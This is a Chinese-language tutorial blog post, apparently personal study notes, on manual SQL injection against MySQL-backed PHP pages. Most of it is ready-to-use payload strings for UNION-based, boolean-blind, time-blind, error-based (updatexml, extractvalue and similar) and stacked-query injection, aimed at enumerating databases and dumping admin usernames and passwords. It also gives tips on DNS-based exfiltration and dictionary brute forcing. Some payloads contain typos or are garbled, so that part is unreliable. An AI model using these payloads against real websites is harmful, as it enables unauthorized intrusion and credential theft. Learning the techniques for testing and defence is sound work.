SQL手工注入入门级笔记(更新中)
一、字符型注入
针对如下php代码进行注入:
$sql="select user_name from users where name='$_GET['name']'";
select user_name from users where name='admin'
http://url/xxx.php?name=admin' and '1'='1' -- '
select user_name from users where name='admin' and '1'='1' -- ''
在上面的sql语句中可以发现,通过闭合原本的单引号,在后面添加新的查询语句,可达到注入目的。(mysql中两个单引号中间为空会被忽略,若出现单个单引号会有语法错误。)
成功后可以开始进行猜解数据库了:
1、猜字段数
and 1=2 union select 1,2,3,4,5,6……(字段数为多少,后面的数字就到几,如union select 1,2,3,4,5能够成功返回结果则表示字段数为5)
或
order by 6 ( 当某一数字正常返回页面就表示有多少个字段)
2、查库
and 1=2 union select 1,2,3,database(),5,6-- + (利用第四个字段的显示位来显示数据库名,具体位置看具体网站)
3、查表
and 1=2 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()-- + (以MySQL为例 )
4、查字段
and 1=2 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=database() and table_name='admin'-- + (以MySQL为例,其中admin和单引号 可以使用admin的十六进制代替,其他内容也可以。 )
5、查内容
and 1=2 union select 1,2,3,group_concat(username,password),5,6 from admin -- +
上述单引号括起来的内容可以替换为内容的十六进制绕过单引号过滤。
二、布尔盲注(Boolean with blind SQL injection)
第一步:猜数据库长度
?id=1' and length(database())>=1-- +
>=1可以自己结合场景自己更换。
第二步:猜数据库名
?id=1' and substr(database(),1,1)='a'-- + 普通版
?id=1' and ord(substr(database(),1,1))=97 -- + ASCII码版---与上面意思相同
substr为截取字符串,从1开始。上面这段表示从1开始截取1个字符。
ord为MySQL中转换ASCII码的函数。
当测出第一个字符以后测试第二个字符 用substr(database(),2,1)=‘a’-- +,一共需要测到第一步中猜测出来的长度。
第三步:猜表名
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'-- + 直接版可以不用猜解数据库名
?id=1' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='a'-- + 普通版 使用第二步猜解出来的数据库名
?id=1' and ord(substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97 -- + ASCII码版---与上面意思相同
limit 函数表示取出内容的条数范围,从0开始。上段内容limit 0,1表示从第一个开始取1条。则从第二个开始取一条为:limit 1,1。
第三步:猜字段名
?id=1' and substr((select table_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),1,1)='a'-- + 直接版可以不用猜解数据库名
?id=1' and substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1)='a'-- + 普通版 使用第二步猜解出来的数据库名
?id=1' and ord(substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1))=97 -- + ASCII码版---与上面意思相同
上述单引号括起来的内容可以替换为内容的十六进制绕过单引号过滤。
第四步:猜内容
?id=1' and substr((select username from admin limit 0,1),1,1)='a'-- + 直接版可以不用猜解数据库名
?id=1' and substr((select username from admin limit 0,1),1,1)='a'-- + 普通版 使用第二步猜解出来的数据库名
?id=1' and ord(substr((select username from admin limit 0,1),1,1))=97 -- + ASCII码版---与上面意思相同
三、报错注入
没有回显,但是由于网站的配置不当,错误信息被输出到了前台,导致可以根据mysql部分函数的报错逻辑问题显示指定查询语句的结果,然后进行一系列的操作。
因此可以利用报错注入获取数据,报错注入有很多格式:
1、通过floor报错:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错:
and multlinestring (()select * from(select user () )a)b );
11、通过multpolygon ()报错:
and multpolygon (()select * from(select user () )a)b );
12、通过linestring ()报错:
and linestring (()select * from(select user() )a)b );
这里使用updatexml()
1、利用updatexml获取user()
?user=admin‘ and updatexml(1,concat(0x7e,(select user())),1)-- +
0x7e为ASCII码的 ~ 波浪号,为了在返回的报错信息中很方便的查看到想要注入得到的数据,没有别的功能性作用。
2、利用updatexml获取database()
?user=admin‘ and updatexml(1,concat(0x7e,(select database())),1)-- +
3、利用updatexml查询数据库
?id=1 and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select schema_name),0x7e) from admin limit 0,1),0x7e),1)
4、利用updatexml查询表
?id=1 and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select table_name),0x7e) from admin limit 0,1),0x7e),1)
5、利用updatexml查询字段
?id=1 and updatexml(1,concat(0x7e,(selecct distinct concat(0x7e, (select column_name),0x7e) from admin limit 0,1),0x7e),1)
6、利用updatexml获取字段内容
查表名:?user=admin‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)-- +
查询其他内容就不一一列举,在上面一、二板块有详细内容,融会贯通灵活运用就可以。
其他报错函数利用原理大致相同。
四、延时盲注攻击(Sleep with blind SQL injection)
又称为时间盲注,与Boolean注入非常相似,不同之处在于延时注入使用的是sleep()、benchmark()等造成延时的函数从页面返回耗时来判断。
多用IF(exp1,exp2,exp3)结合使用,若exp1为真,则返回exp2,若exp2为假,则返回exp3。
1、判断数据库名长度
?id=1' and if(length(database())>=3,sleep(5),1)
sleep函数中的参数单位为秒。若数据库长度>=3则睡5秒再返回内容给你,否则直接查询1返回结果。
2、判断数据库内容
?id=1' and if( ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1) 猜字段名
?id=1' and if(substr((select username from admin limit 0,1),1,1)='a',sleep(5),1) 猜字段内容
其他查询语句可以参考上面一、二介绍的语句。
五、堆叠查询注入攻击
?id=1’ 加了单引号页面返回错误,?id=1' %23以后页面返回正常则可以利用。
闭合原本的查询语句,构造自己的查询语句(利用方式为布尔盲注和时间盲注)。
1、猜数据库名
?id=1'%23 select if(substr(database(),1,1)='a',sleep(5),1)%23 这里利用的是时间盲注
?id=1'%23 select if(ord(substr(database(),1,1))=97 ,sleep(5),1)%23 这里利用的是布尔盲注
2、猜数据库内容
?id=1'%23 if(ord(substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97,sleep(5),1)%23 猜表名
?id=1'%23 if(ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1)%23 猜字段名
其他查询语句可以参考上面一、二、三、四介绍的语句。
六、二次注入
某一次用户输入的恶意构造内容被保存到数据中,当第二次从数据库中去获取该内容时,用户输入的恶意SQL语句截断了第二次查询的查询语句,执行了用户构造的语句。
比如在注册用户时 用户名设置为 test‘ 在test后面加个单引号,没有过滤输入而保存到数据库中。当去访问个人中心时,发现显示用户名的地方出现了数据库报错,单引号被带到了查询语句中执行了。
原理就是系统对数据库中的内容没有进行过滤而是采取信任,导致从外部无法注入却从内部上查询中注入成功。
技巧
如何提高盲注效率
1、利用LOAD_FILE(sql查询语句.url.com) 查询url的DNS解析记录,其中 sql查询语句 查出来的长度有限制,子域名的长度最多为 255 个字符,多个级别的每个级别的长度只能为 63 个字符,可以借助substr,mid等函数。并且域名不能有部分特殊符号,因此需要做一些编码。
2、多线程(效果其实差不多,容易产生大量请求)
3、用字典爆破
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)